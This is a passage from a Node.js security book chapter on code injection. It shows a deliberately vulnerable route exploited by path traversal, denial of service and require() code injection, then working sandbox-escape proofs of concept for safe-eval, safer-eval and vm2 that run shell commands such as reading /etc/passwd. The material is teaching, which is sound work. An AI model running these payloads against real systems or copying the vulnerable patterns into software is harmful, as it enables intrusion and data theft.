vulnerabilities, including Denial of Service, Path Traversal, and Code Injection. Focusing on the primary
code paths that contribute to the overall security risk, we can identify the following issues:

1. Insecure file path resolution: The languageFilePath variable is constructed only using the
path.resolve() function without proper validation and sanitization of the lang query parameter.
The path construction does not normalize the file path resolution, employ URI decoding, or create

Chapter 6. Weaponizing Code Injection | 69


effective and strict root directory boundaries. This insecure code leads to Path Traversal
vulnerabilities, allowing attackers to synthetically compose file paths to arbitrary file paths in the
operating system that traverse outside the supposedly bounded i18n directory. The mere use of
path.resolve() does not prevent the traversal of directories outside the intended scope and
opens the door to Absolute Path Traversal vulnerabilities.

const languageFilePath = path.resolve(


I18N_DIR, `${language}.json`
);

2. Insecure file path validation: The validateFilePath() function applies a weak assertion that is
insufficient to mitigate file path bypasses. The logic only checks whether a file path ends with the
.json extension. There is no validation to ensure that the resolved file path is within the i18n
directory or does not contain directory traversal sequences. It doesn’t strictly enforce the file path to
be an actual file, and the function also doesn’t implement a strict allow-list of file paths or mapped
language keys that are allowed to be loaded.

function validateFilePath(filePath) {
const filenameExtension = /\.json$/;
if (!filenameExtension.test(filePath)) {
return false
}

return true;
}

3. Insecure file loading: Finally, we reach the hallmark of insecure code patterns - code injection.
Developers familiar with Node.js module resolution rules, supporting the loading of JSON files using
the require() function, may be tempted to use this runtime construct to load the language data
file. This pattern is a classic example of insecure code patterns that could ultimately result in code
injection vulnerabilities, allowing attackers to execute arbitrary code in the context of the Node.js
application.

const languageData = require(languageFilePath);

Exploiting Path Traversal, Denial of Service, and Code Injection

We previously asserted that the code example is vulnerable to three types of security vulnerabilities:
Denial of Service, Path Traversal, and Code Injection. Let’s put that to the test and demonstrate how an
attacker could exploit all these vulnerabilities in a typical Node.js application.

70 | Chapter 6. Weaponizing Code Injection


The sample application is running on a server with the following directory structure:

├── package.json
├── .env.config.json
├── server.js
├── i18n
│ ├── en.json
│ └── de.json
└── templates
└── dashboard.ejs

And then proceed to run the server:

$ node server.js
{"level":30,"time":1711114712552,"pid":2241,"hostname":"Lirans-MacBook-Pro-
2.local","msg":"Server listening at http://[::1]:3000"}
{"level":30,"time":1711114712553,"pid":2241,"hostname":"Lirans-MacBook-Pro-
2.local","msg":"Server listening at http://127.0.0.1:3000"}
Server listening on port 3000

Starting with the Path Traversal vulnerability, an attacker will attempt to access any file on the server
that will grant them ways to exfiltrate sensitive information. The attack isn’t limited to sensitive files in
particular, but rather, this is a valuable practice in reconnaissance where the attacker is trying to gather
information about the system to plan their next move.

NOTE

Accessing sensitive files such as db.json or config.json can reveal database credentials, API
keys, and other sensitive information that attackers can use to compromise the system further.
However, suppose the attacker can access different files, seemingly not highly sensitive, such as

the package.json file. In that case, they can learn about the application’s dependencies,
versions, and other metadata that could be useful in crafting more targeted attacks.

Do not underestimate the impact of Path Traversal vulnerabilities, as they can lead to severe data
breaches and system compromise.

Let’s demonstrate how an attacker could exploit the Path Traversal vulnerability to access the server’s
.env.config.json file. The attacker crafts a special request to the /dashboard route with a lang
query parameter that contains a directory traversal sequence:

$ curl "http://localhost:3000/dashboard?lang=../.env.config"

Chapter 6. Weaponizing Code Injection | 71


This payload uses a leading ../ sequence to traverse one directory level and access the
.env.config.json file in the project’s root. The payload also omits the .json extension, as the
validateFilePath() function only checks for the presence of the .json extension after the code
explicitly appends the extension suffix to the languageFilePath.

Adding a print statement to the server code to log the resolved languageFilePath value, we can
observe the path traversal in action in the server logs:

Language file path: /opt/app/.env.config.json

{"level":30,"time":1711115163668,"pid":2241,"hostname":"Lirans-MacBook-Pro-
2.local","reqId":"req-4","res":{"statusCode":200},
"responseTime":4.482833027839661,"msg":"request completed"}

The server successfully renders the view without resolving the language data, as the
.env.config.json file does not contain the expected language data structure. Nonetheless, the
attacker was successfully able to traverse the directory and access JSON files and can proceed to elevate
their attack and find more ways to exploit the system.

Next, let’s demonstrate a Denial of Service attack. We will aim to crash the Node.js application by crafting
a request that triggers an error exception in the /dashboard GET route definition. The attack can be
achieved by sending a request that will resolve to a non-existent file, causing the require() function to
throw an error:

$ curl "http://localhost:3000/dashboard?lang=none-existent-file.js"

Observing the server logs, we can see the error message thrown by the require() function when
attempting to load the non-existent file:

72 | Chapter 6. Weaponizing Code Injection


Language file path: /opt/app/i18n/none-existent-file.js.json

Error: Cannot find module '/opt/app/i18n/none-existent-file.js.json'


Require stack:
- /opt/app/server.js
at Module._resolveFilename (node:internal/modules/cjs/loader:1142:15)
at Module._load (node:internal/modules/cjs/loader:983:27)
at Module.require (node:internal/modules/cjs/loader:1230:19)
at require (node:internal/modules/helpers:179:18)
at Object.<anonymous> (/opt/app/server.js:30:26) {
code: 'MODULE_NOT_FOUND',
requireStack: [
'/opt/app/server.js'
]
}

NOTE

Fastify, by default, sets an error handler that catches thrown exceptions in routes and returns an
HTTP 500 status code, unlike other web frameworks such as Express, which require developers to
set up error-handling middleware to catch and handle exceptions. The default behavior in an
Express 4 application will crash the server due to an unhandled exception.

To simulate the same behavior as with the default Express setup, the Node.js server code would
need to be updated to include an error handler that catches unhandled exceptions and
terminates the process:

app.setErrorHandler(function (error, request, reply) {
// Deliberately throwing an error to simulate unhandled
// exception which is the default case with other web frameworks
// such as Express
console.error(error);
process.exit(-1);
});

Finally, let’s demonstrate the Code Injection vulnerability. This attack vector leverages a particular
module resolution behavior that Node.js follows and builds on the ability of the attacker to create
directories and files on the server.

We begin first by setting up the pre-conditions required for the exploit to work:

1. Create the following directory /tmp/de.js.json:

Chapter 6. Weaponizing Code Injection | 73


$ mkdir -p /tmp/de.js.json

2. In this new directory path, create a file named index.js with the following content:

console.log('Code Injection Successful');

Next, let’s explain Node.js module resolution rules and how the attacker can exploit them to inject
arbitrary code into the application:

1. The lang query parameter can’t reference a non .json file because the code explicitly hard-codes
the file name extension into the path. Furthermore, the validateFilePath() function will enforce
the .json extension.

2. Node.js follows a specific module resolution algorithm when loading modules using the require()
function: when a module path is a directory, Node.js will look for an index.js file in that directory
and load it as an actual module (and not as a JSON file).

Given this knowledge and the pre-conditions met, the attacker can craft a request to resolve to the
/tmp/de.js.json directory path, which contains an index.js file with the malicious code. The
attacker sends the following request to the /dashboard route:

$ curl "http://localhost:3000/dashboard?lang=/tmp/de.js"

The value of /tmp/de.js gets appended with a .json file extension, resulting in the resolved path
/tmp/de.js.json. Node.js will attempt to load the index.js file in the /tmp/de.js.json/ directory
as a module, executing the malicious code console.log('Code Injection Successful') and the
server logs will show the output:

Language file path: /tmp/de.js.json

Code Injection Successful

{"level":30,"time":1711123054369,"pid":22870,"hostname":"Lirans-MacBook-Pro-
2.local","reqId":"req-1","res":{"statusCode":200},
"responseTime":8.794665932655334,"msg":"request completed"}

74 | Chapter 6. Weaponizing Code Injection


NOTE

Achieving an attacker-controlled file payload at /tmp/de.js.json/index.js is not an easy task


and requires the attacker to find a way by exploiting other vulnerabilities such as path traversal,
file upload weakness, or other flawed server logic that would allow creating directories and files
on the server.

The attacker-controlled file is highly challenging to achieve, but it also has a high reward. Can you
think of other ways an attacker could create the file?

What if attackers devise a plan to employ a supply chain security attack that enables them to
introduce their own controlled npm package as a dependency in the application dependencies

tree? Attackers would merely need to create their own npm package with a malicious payload
available using a path such as node_modules/attacker-package/index.js that would be
loaded and accessible in the application runtime. Does this sound like a far-fetched scenario? It
already happened when, in 2018, attackers used social engineering tactics to gain publishing
access to the event-stream package and introduced an attacker-controlled npm dependency. This
incident was part of a spear-phishing attack against a cryptocurrency wallet application that
resulted in the theft of cryptocurrency funds.

In 2018, another security incident took place, in which the eslint-scope and eslint-config-eslint
packages were compromised by attackers who gained access to the npm account of a maintainer
and published malicious versions of the packages. At the current time of writing, the eslint-
scope package is downloaded at a rate of 66 million times per week.

6.1.5. Module Loading with import()

The ECMAScript modules (ESM) specification introduced a new way to load modules in JavaScript using
the import() function. The import() function is an asynchronous function that dynamically allows
developers to load modules at runtime. It returns a promise that resolves to the loaded module’s
namespace object.

Following is an example of how developers may use the import() function to load a module
dynamically:

const moduleURLPath = '../../../module-code.js';


const modulePath = new URL(moduleURLPath, import.meta.url).pathname;
import(modulePath).then(module => {
// Access the module namespace object
});

Chapter 6. Weaponizing Code Injection | 75


Code injection vulnerabilities and security risks concerning the import() module loading method are
similar to those of the require() function. Even more so, due to the import() function supporting
several specifiers on top of the file path and added flexibility in the way modules are loaded, the
following are particularly important to consider:

1. Absolute file path specifiers: Using a file:// URL specifier to load modules from the local file
system, such as import('file:///path/to/module.js').

2. Data URL specifiers: Loading modules from data URLs, such as


import('data:text/javascript,console.log("Shall We Play A Game?")') .

3. URL specifiers: Dynamically fetched modules over a network such as


import('https://example.com/module.js') are supported natively in Deno or using a custom
HTTPS loader in Node.js.

4. URLs with special characters are supported and expected to be percent-encoded, such as
import('./math%20pow.mjs').

5. Unicode characters are supported, such as import('./module\u{0061}\u{030A}.mjs').

The flexible import capabilities can introduce new attack vectors and security risks, mainly when
developers use untrusted input to construct the module specifier. Whereas the require() function
could be preceded with a relatively simple regular expression to validate the file path, the import()
function requires more complex validation and sanitization logic to ensure the module specifier is safe
and does not introduce code injection vulnerabilities.

6.1.6. The vm Module

The vm module in Node.js provides a way to compile and run JavaScript code within a sandboxed
environment. It exposes several functions that allow developers to evaluate code strings, scripts, and
functions in a controlled and isolated context. How secure does the vm module provide the isolated
environment? Can it be trusted to execute untrusted code safely?

As a prelude to practical code examples that demonstrate the security weaknesses involved with the vm
module, I’ll start by sharing a quote from the Node.js API documentation:

The node:vm module is not a security mechanism. Do not use it to run


untrusted code.

— Node.js API documentation, https://nodejs.org/docs/latest/api/vm.html

Let’s build on a prior use case presented in this chapter - a spreadsheet program. In this following code
example, we avoid using the dangerous eval() or Function constructor constructs. Instead, we will
leverage the vm module to evaluate cell formulas in an isolated environment.

76 | Chapter 6. Weaponizing Code Injection


Our code begins with importing the vm module and defining an object that describes the spreadsheet
cells, their values, and formulas:

import vm from "node:vm";

// A spreadsheet object with cell values


let spreadsheet = {
A1: "2",
B1: "3",
C1: "=Math.pow(A1, B1)",
};

Next, we use vm.createContext() to create a new sandboxed context for evaluating the cell formulas
and use the sandbox to execute JavaScript code. First, the context exposes variables for the cell values:

const context = {
A1: Number(spreadsheet["A1"]),
B1: Number(spreadsheet["B1"]),
};

Then, we define a function evaluateCell that takes a cell formula and evaluates it within the context of
the sandbox:

// Function to evaluate a cell value


function evaluateCell(cell, context) {
const sandbox = vm.createContext(context);
const cellFormula = spreadsheet[cell].substring(1);
const cellValue = vm.runInContext(cellFormula, sandbox);
return cellValue;
}

The function receives a cell, such as "C1", extracts the formula from the cell string value, which is the
entire text that follows the equal character ( =), and evaluates it within the sandboxed context using the
runInContext() function.

Finally, we evaluate the formula in cell C1 by calling the evaluateCell() function with the cell name
and provide the context object that we created before so that the sandbox environment has access to
the cell values A1 and B1 as variables:

Chapter 6. Weaponizing Code Injection | 77


const c1Value = evaluateCell("C1", context);
console.log(`C1 value: ${c1Value}`);

// Output: C1 value: 8

When we run the code, the formula in cell C1 is evaluated to 8, which is the result of Math.pow(2, 3) .

This example demonstrates how the vm module can be used to evaluate cell formulas in a sandboxed
environment, providing an alternative to using eval() or Function constructor for executing untrusted
code. However, is it truly safe to use the vm module to run untrusted code? Does the vm module provide
a secure sandboxed environment to prevent code injection vulnerabilities? Is there a way to bypass the
sandbox and execute arbitrary code?

At first glance, the vm module appears to provide a secure way to evaluate JavaScript code in a
sandboxed environment. We can update the C1 cell value to include different JavaScript expressions that
test whether we can break out of the sandbox and execute arbitrary code:

1. C1: "=process.exit(1)" : Attempts to terminate the Node.js process. However, if we were to


evaluate this formula, the program would throw the following error:

Error evaluating cell C1: ReferenceError: process is not defined

2. C1: "=require('fs').readFileSync('package.json')" : Attempts to read the package


manifest file. However, if we were to evaluate this formula, the program would throw the following
error:

Error evaluating cell C1: ReferenceError: require is not defined

3. C1: "=console.log(spreadsheet)" : Attempts to access the spreadsheet object in the lexical


scope. However, if we were to evaluate this formula, the program would throw the following error:

Error evaluating cell C1: ReferenceError: spreadsheet is not defined

Now, let’s explore the security implications of using the vm module and demonstrate how attackers can
exploit it to inject and execute arbitrary code. The following outlines the security risks and attack vectors
associated with the vm module:

1. A Denial of Service attack: by injecting a while(true){} loop into the cell formula, the attacker can
cause the Node.js process to hang indefinitely, consuming CPU resources and rendering the
application unresponsive. Even if you leverage Worker Threads or entirely new system processes

78 | Chapter 6. Weaponizing Code Injection


with the child_process module to run arbitrary code in the vm sandbox, attackers can still exhaust
system resources and cause a Denial of Service condition.

let spreadsheet = {
A1: "2",
B1: "3",
C1: "=Math.pow(A1, B1);while(true){}",
};

2. A Code Injection attack: by injecting code that traverses the prototype chain and accesses global
objects, attackers can bypass the sandbox and execute arbitrary code. For example, the following
cell formula attempts to access the global process object and log the main process’s environment
variables:

let spreadsheet = {
A1: "2",
B1: "3",
C1: "=this.constructor.constructor('console.log(process.env)')()",
};

6.2. Debunking the Illusion of Secure JavaScript


Sandboxes
In their hunt for a secure JavaScript sandbox that renders untrusted user input, developers may turn
their attention to third-party open-source libraries that claim to provide a secure environment for
executing untrusted code.

These libraries often leverage the Node.js vm module and other techniques to isolate untrusted code
execution from the main application. However, these libraries' security guarantees may be weaker than
developers expect.

To put you in the driver’s seat of an attacker, we skip the vulnerable code analysis and insecure coding
patterns in each case study in this section and focus on the exploitation of the sandbox security bypass.
Demonstrating practical attack payloads that attackers use to exploit security gaps in these libraries to
execute arbitrary code will give you a deeper understanding of the security risks associated with using
these libraries and the limitations of JavaScript sandboxes.

Chapter 6. Weaponizing Code Injection | 79


6.2.1. Case study: safe-eval

The safe-eval npm package was first published in 2015 to allow developers to execute JavaScript code
without using the JavaScript built-in eval() function. The library uses the Node.js vm core module to
create a sandboxed environment for evaluating code. Since then, it accumulated over 14,563,936
downloads on npm.

Figure 9. The safe-eval npm package popularity ranking

Despite having multiple publicly known security vulnerabilities that undermine the security guarantees
of the sandboxed environment, the safe-eval package continued to be downloaded at a rate of 23,413
downloads a week. The reported vulnerabilities trace back to 2017 when security researchers first
discovered them, but some of these vulnerabilities impact all known versions of the package.

Figure 10. The safe-eval npm package popularity ranking

An example use-case for the safe-eval API might be to allow users to specify and access variables of a

80 | Chapter 6. Weaponizing Code Injection


global configuration object to be used in a template and evaluated at runtime:

const safeEval = require('safe-eval');

const config = {
user: {
name: 'Alice',
age: 30,
},
};

// Generate a template:
const template = 'Hello, ${user.name}! You are ${user.age} years old.';
const result = safeEval(template, config);

// Access values from the config object


const userProperty = 'age';
const value = safeEval(`config.user.${userProperty}`);

As claimed by the safe-eval package, the safeEval() function provides a secure way to evaluate
JavaScript code without exposing the host environment to code injection vulnerabilities. Per the library’s
documentation, the following code snippet disallows access to Node.js objects:

// no access to Node.js objects


var code = 'process'
safeEval(code) // THROWS!

However, the security of the sandboxed environment provided by safe-eval was questioned when
multiple vulnerabilities were discovered that allowed attackers to bypass the sandbox and execute
arbitrary code.

Beginning with the most recent vulnerability identified as CVE-2023-26122 in 2023, the attack vector
exploited JavaScript’s prototype chain to access the global process object and execute arbitrary code.
This rightfully merited a high severity rating of 8.8 out of 10, adjusted per the Snyk CVSS scoring system.

The following proof-of-concept demonstrates the vulnerability:

Chapter 6. Weaponizing Code Injection | 81


const safe_eval = require("safe-eval");

code = `
import('test').catch((e)=>{})['constructor']['constructor']('return
process')().mainModule.require('child_process').execSync('touch /tmp/rce')
`;

safe_eval(code);

Running this code will create a file /tmp/rce on the system, demonstrating how the attacker bypassed
the sandbox and executed arbitrary code.

Another vulnerability report CVE-2023-26121 in 2023, demonstrates the emergence of a different kind of
vulnerability: Prototype Pollution. By exploiting the underlying vulnerable code of safe-eval, an
attacker can modify the Object object prototype and inject arbitrary properties into all objects in a
Node.js application.

The security researcher provided the following proof-of-concept to demonstrate the vulnerability:

const safeEval = require('safe-eval')

let code = `
(function() {
Error.prepareStackTrace = (_, c) => c[0].getThis();
ret = (new Error()).stack;
ret.__proto__.polluted = "ret.__proto__.polluted";
})()
`
safeEval(code);

const polluted_result = {}["polluted"];


console.log(polluted_result);

Running this code will output the string "ret. proto .polluted", demonstrating how the attacker was
able to pollute the prototype of the Object object.

After we look at the underlying code of the safe-eval package, we see that these vulnerabilities should
not surprise us. The safe-eval package uses the vm module to create a sandboxed environment for
evaluating code, which, as we learned in a prior section, is not a security mechanism. The vm module
does not provide a secure way to evaluate untrusted code; attackers may exploit it to execute arbitrary
code.

The safe-eval package on its entire 26 lines of code:

82 | Chapter 6. Weaponizing Code Injection


1 var vm = require('vm')
2
3 module.exports = function safeEval (code, context, opts) {
4 var sandbox = {}
5 var resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000)
6 sandbox[resultKey] = {}
7 var clearContext = `
8 (function() {
9 Function = undefined;
10 const keys =
Object.getOwnPropertyNames(this).concat(['constructor']);
11 keys.forEach((key) => {
12 const item = this[key];
13 if (!item || typeof item.constructor !== 'function') return;
14 this[key].constructor = undefined;
15 });
16 })();
17 `
18 code = clearContext + resultKey + '=' + code
19 if (context) {
20 Object.keys(context).forEach(function (key) {
21 sandbox[key] = context[key]
22 })
23 }
24 vm.runInNewContext(code, sandbox, opts)
25 return sandbox[resultKey]
26 }

6.2.2. Case study: safer-eval

In a similar time frame and development of events, the safer-eval npm package that promised to be a
secure alternative to the eval() function peaked in popularity in 2019 and was later found to have
multiple security vulnerabilities that allowed attackers to execute arbitrary code.

Chapter 6. Weaponizing Code Injection | 83


Figure 11. The safer-eval npm package daily downloads

Having accumulated 9,915,388 downloads to date and several publicly known security vulnerabilities, the
safer-eval package was, too, found to be vulnerable to code injection attacks that allowed attackers to
bypass the sandbox.

Figure 12. The publicly known security vulnerabilities reported for safer-eval

The crux of the "safer" runtime JavaScript code evaluation comes down to the following code snippet in
vulnerable version 1.3.1:

./src/index.js

class SaferEval {
/**
* @param {Object} [context] - allowed context
* @param {Object} [options] - options for `vm.runInContext`
*/
constructor (context, options) {
// define disallowed objects in context
const __context = createContext()
// apply "allowed" context vars
allow(context, __context)

this._context = vm.createContext(__context)
this._options = options
}

/**

84 | Chapter 6. Weaponizing Code Injection


* @param {String} code - a string containing javascript code
* @return {Any} evaluated code
*/
runInContext (code) {
if (typeof code !== 'string') {
throw new TypeError('not a string')
}
return vm.runInContext(
'(function () {"use strict"; return ' + code + '})()',
this._context,
this._options
)
}
}

The SaferEval class constructor maintained a deny-list of objects that attackers access in the
sandboxed environment as well as a cloned set of supposedly-hardened timer functions. A partial code
fragment from those supposed security controls is as follows, showing how global objects were
disallowed access (shortened for brevity):

./src/common.js

exports.createContext = function () {
const context = {
// disallowed
global: undefined,
process: undefined,
module: undefined,
require: undefined,
eval: undefined,
Function: undefined
}

const fillContext = (root) => {


Object.keys(root).forEach(key => {
if (isIdentifier(key))
context[key] = undefined
})
}

if (hasGlobal) {
fillContext(global)
cloneFunctions(context)
context.Buffer = _protect('Buffer')
context.console = clones(console, console)
}

Chapter 6. Weaponizing Code Injection | 85


return context
}

The complete set of security controls aimed to introduce the following restrictions:

1. Wapping built-in objects using a cloned copy to protect these objects against overwriting by the
untrusted code.

2. Clone global scoped functions such as setImmediate, clearImmediate, and others to prevent the
untrusted code from patching and modifying these functions.

With all these security controls in place, let’s test the promise of an isolated, improved, and secure
JavaScript code sandbox:

const saferEval = require("safer-eval");

const code = `Object.constructor.constructor(process.env());`;


const res = saferEval(code);
console.log(res);

In this payload, the attacker attempts to access the global process object by traversing the prototype
chain for the global Object object and reading the environment variables. However, the safer-eval
package halts this attempt, and running this code will result in the following error:

evalmachine.<anonymous>:1
(function () {"use strict"; return Object.constructor.constructor(
process.env);})()
^
TypeError: Cannot read properties of undefined (reading 'env')
at evalmachine.<anonymous>:1:75
at evalmachine.<anonymous>:1:84
at Script.runInContext (node:vm:148:12)
at Object.runInContext (node:vm:300:6)
at SaferEval.runInContext (~/safer-eval/node_modules/safer-
eval/lib/index.js:60:17)
at saferEval (~/safer-eval/node_modules/safer-eval/lib/index.js:89:33)
at Object.<anonymous> (~/safer-eval/exploit1.js:8:15)
at Module._compile (node:internal/modules/cjs/loader:1368:14)
at Module._extensions..js (node:internal/modules/cjs/loader:1426:10)
at Module.load (node:internal/modules/cjs/loader:1205:32)

How about if we tried other attack payloads, including more simplistic ones such as:

86 | Chapter 6. Weaponizing Code Injection


const saferEval = require("safer-eval");

saferEval(`process.env`);
saferEval(`require(child_process).execSync('touch /tmp/rce')`);
saferEval(
`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat
/etc/passwd').toString()`
);

The errors we will be met with are anywhere from ReferenceError: child_process is not
defined to TypeError: Cannot read properties of undefined (reading 'env') . None of
these will succeed in executing arbitrary code, as the safer-eval package has implemented security
controls to prevent access to Node.js objects and disallow the execution of system commands.

Despite all of these security defenses and guardrails, the safer-eval package was found to be
vulnerable to code injection attacks. The following attack payload exploits the unaltered console object
to access the constructor property and execute arbitrary code:

const saferEval = require("safer-eval");

const code = `console.constructor.constructor('return


process')().mainModule.require('child_process').execSync('env > /tmp/rce')`;
saferEval(code);

Running this code will successfully print all the environment variables accessible to the Node.js process
to a file /tmp/rce, demonstrating how the attacker bypassed the safer-eval security sandbox.

This vulnerability is addressed in CVE-2019-10760, which was reported by security researchers on March
8th 2019, for safer-eval versions 1.3.1 and below. The vulnerability was rated with a critical severity
score of 9.9 out of 10, adjusted per the Snyk CVSS scoring system.

NOTE

Can you develop another attack payload that bypasses the safer-eval security sandbox in
version 1.3.1 and below?

Since then, two more security vulnerabilities have been reported for the safer-eval package, including
CVE-2019-10759 and CVE-2019-10769, both of which allow attackers to bypass the security controls and
execute arbitrary code and impacting all known versions of the package.

When the latest security vulnerability was published in 2019, GitHub Dependency Insights reported that

Chapter 6. Weaponizing Code Injection | 87


the safer-eval package was used by 36.6k projects, with no fix available, and a publicly shared exploit
was available for the vulnerability.

NOTE

If you enjoyed learning about security sandbox attempts in JavaScript, you might also be

interested in reviewing and analyzing other npm packages that claim to provide secure JavaScript
sandbox environments, such as strict-eval.

6.2.3. Case study: vm2

The vm2 package is another immensely popular npm package that was developed to provide developers
with a secure JavaScript sandbox for executing untrusted code. Since its inception and until this book’s
writing, the vm2 package has accumulated an astounding 511,120,883 downloads on npm.

From a historical perspective, it is interesting to layer both the safer-eval daily downloads count (in
the background) and vm2 npm package daily downloads count on top of each other to observe the
correlation between the two:

Figure 13. The vm2 npm package daily downloads with the safer-eval overlay in the background

Did security vulnerabilities disclosed publicly for safer-eval in 2019 contribute to the shift of
dependency transition towards vm2? We can only speculate, but there is little to doubt of the popularity
gained by vm2 as a secure JavaScript sandboxing solution with 1,707,613 weekly downloads rate at the
time of writing.

The vm2 source code is a more complex and feature-rich sandbox environment compared to other
sandboxes like safe-eval or safer-eval and relies on both the Node.js core vm module and
ECMAScript Proxy constructs to provide an isolated environment for executing untrusted code.

However, despite dozens of contributions and a novel approach to sandboxing, the vm2 package was
found to be vulnerable to code injection attacks that allowed attackers to bypass the sandbox. This, in

88 | Chapter 6. Weaponizing Code Injection


fact, happened time and time again, with a total of 12 security vulnerabilities reported to the vm2 project.

Figure 14. Security vulnerabilities for the vm2 npm package

Let’s see how CVE-2023-32314 played out in May 2023 when it was publicly disclosed and given a critical
severity rating of 9.8 out of 10, adjusted per the Snyk CVSS scoring system. The vulnerability allowed
attackers to bypass the sandbox and execute arbitrary code.

const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => {}, {
apply(target, thisArgs, argsArray) {
const process = argsArray.constructor.constructor("return
process")();
throw process.mainModule.require("child_process").execSync("touch
hacked2").toString();
},
}),
};

try {
err.stack;
} catch (stdout) {
stdout;
}
`;

vm.run(code);

Chapter 6. Weaponizing Code Injection | 89


The exploit code works due to a combination of JavaScript mechanics: the ability to define Proxy objects
that intercept function calls, the fact that the stack trace of an Error object includes the error’s name,
and the fact that functions can be created and called with arbitrary bodies (referring to the argsArray
prototype chain traversal up to Function). The crux of the matter is that the vm2 source code does not
correctly isolate these constructs from the sandboxed code, leaving an attack vector open for
exploitation.

Following is a step-by-step breakdown of the exploit code:

1. The payload creates a new Error object and assigns a Proxy object to the name property that
intercepts function calls and executes arbitrary code when the toString function is called.

2. The Proxy object sets up a trap, a function handler that defines the behavior of the property
accessed on the object. In this case, the trap is defined for the apply method, which is invoked when
the toString function is called (refer to the handler.apply() documentation for in-depth details on
traps and how the apply handler is used to map to a function call’s internal method).

3. When the err.stack property is accessed later in the exploit payload, this triggers the toString
method of err.name, because the stack trace of an error includes the error’s name. As a result, the
Proxy object’s apply trap that we defined gets triggered. The important mechanics that come into
play next are that the special function prepareStackTrace is called to prepare the stack trace and
is constructed from the host context. This makes the error function argument that holds the Error
object bypass the proxy interceptions in the vm2 sandbox.

4. Due to the prepareStackTrace function being called from the host context, the argsArray object
is constructed from the host context, not the sandboxed context. This allows the attacker to traverse
the prototype chain up to the Function constructor, provide it with the return process function
body, and gain access to the global process object.

In summary, by finding an attack vector that merits an indirect way to reference the global process
object, the attacker can execute arbitrary code within the sandboxed environment.

To mitigate this vulnerability, the vm2 maintainers published fixes that addressed the security gaps of
unpatched global objects in the sandboxed environment. To give you a glimpse of how security
hardening measures are implemented in the security sandbox of the vm2 package, here is a snippet of
the code fixes:

const makeSafeArgs = Object.freeze({


__proto__: null,
apply(target, thiz, args) {
return localReflectApply(target, thiz, makeSafeHandlerArgs(args));
},
construct(target, args, newTarget) {
return localReflectConstruct(target, makeSafeHandlerArgs(args),
newTarget);
}

90 | Chapter 6. Weaponizing Code Injection


});

const proxyHandlerHandler = Object.freeze({


__proto__: null,
get(target, name, receiver) {
const value = target.handler[name];
if (typeof value !== 'function') return value;
return new LocalProxy(value, makeSafeArgs);
}
});

The vm2 security impact is far-reaching and has a real-world impact on production applications. One
such example is the jsreport server, which is a report generation application that is founded on an open-
source project, but provides a commercial offering for enterprise customers, and provides a public-
facing interactive playground for users to test report generation templates.

jsreport dynamically produce reports based on user-defined data and templates, which are written in
JavaScript and evaluated in a sandboxed environment using the vm2 package on the live playground
environment offered by the jsreport server.

On April 10th, 2023, the jsreport server was found to be vulnerable to the vm2 security incident, as it
used a pinned version of vm2 that was later found to be vulnerable. In CVE-2023-2583, numerous proof-
of-concept exploits were shared in the security report disclosing the vulnerability, demonstrating how
attackers could bypass the sandbox and execute arbitrary code.

The jsreport security incident provides two key takeaways, beyond the insecure sandbox environments
that rely on vm2:

1. The security incident highlights the importance of keeping dependencies up-to-date and regularly
auditing the security of third-party packages used in production applications.

2. Pinning dependencies to specific versions, as jsreport did with the vm2 package, can introduce
security risks if the pinned version contains known vulnerabilities, and the application isn’t regularly
monitored for security updates.

Another high-profile project dependent on vm2 was Backstage, an open-source platform for building
developer portals that Spotify maintains. On July 2023, Backstage maintainers shared their concerns of
insecure sandbox vulnerabilities in the vm2 package and announced their decision to switch to another
project: isolated-vm , which the vm2 project recommends. However, the isolated-vm package is not
without its security vulnerabilities and has already been found to have 2 security vulnerabilities to date.

In conclusion, we demonstrated how attackers only need to find a single vulnerability to bypass the
security sandbox and execute arbitrary code. Still, during four years, the vm2 package was found to have
12 security vulnerabilities. Some of these attack vectors were more complex or leveraged different attack
vectors, such as prototype pollution, ultimately leading to the same outcome: arbitrary code execution

Chapter 6. Weaponizing Code Injection | 91


despite the illusion of a secure JavaScript sandbox.

NOTE

Due to the security vulnerabilities discovered for vm2 that impact all existing versions of the
package, the package is no longer actively maintained, and its maintainers set its status to
deprecated with the following message:

The library contains critical security issues and should not be used for
production! The maintenance of the project has been discontinued.
Consider migrating your code to isolated-vm.

6.3. Insecurities of Serialization and Deserialization


Serialization converts an object or data structure into a format that can be stored or transmitted and
later reconstructed. In JavaScript, developers commonly use serialization to transform objects into JSON
strings using the JSON.stringify() function and deserialize JSON strings back into objects using the
JSON.parse() function. A typical use case for JSON serialization is to store and transmit data between
different parts of an application, for example, storing state in the browser’s local storage mechanism.

In some cases, developers may need to store and transmit more complex data structures, such as Date,
Map, or Set, as examples. JSON serialization does not support these data types out of the box, and
developers may resort to custom serialization and deserialization techniques to handle these cases.

More complex serialization of objects or whole functions is often a reserved practice for DevTools such
as bundlers or frameworks that need to store and rehydrate state or resume execution at a later time.
One example of this practice is the Qwik framework. Qwik delivers high-performance server-rendered
applications with its fundamental concept centered around the idea of resumable components, and its
technical execution is made possible by serializing and deserializing the application state and code to
and from the server.

Code serialization is not an inherently insecure practice, but it can introduce security risks if not
implemented correctly.

92 | Chapter 6. Weaponizing Code Injection


NOTE

In Java, serialization vulnerabilities are a common attack vector.

Java serialization allows objects to be converted into a byte stream for storage or transmission.

Deserialization reverses this process, recreating the object from the byte stream. Attackers can
exploit this by crafting a serialized object containing malicious code. This code leverages existing
functions (gadgets) within your application’s libraries to achieve unintended actions. These
gadgets are chained together to perform a task like remote code execution (RCE).

6.3.1. Case study: serialize-to-js

The serialize-to-js npm package allows developers to serialize and deserialize rich JavaScript
objects such as Function, Date, RegExp. It was first published in 2017 and, at this point in time, had
accumulated 33,604,773 downloads on npm. By December 2023, its monthly download count had
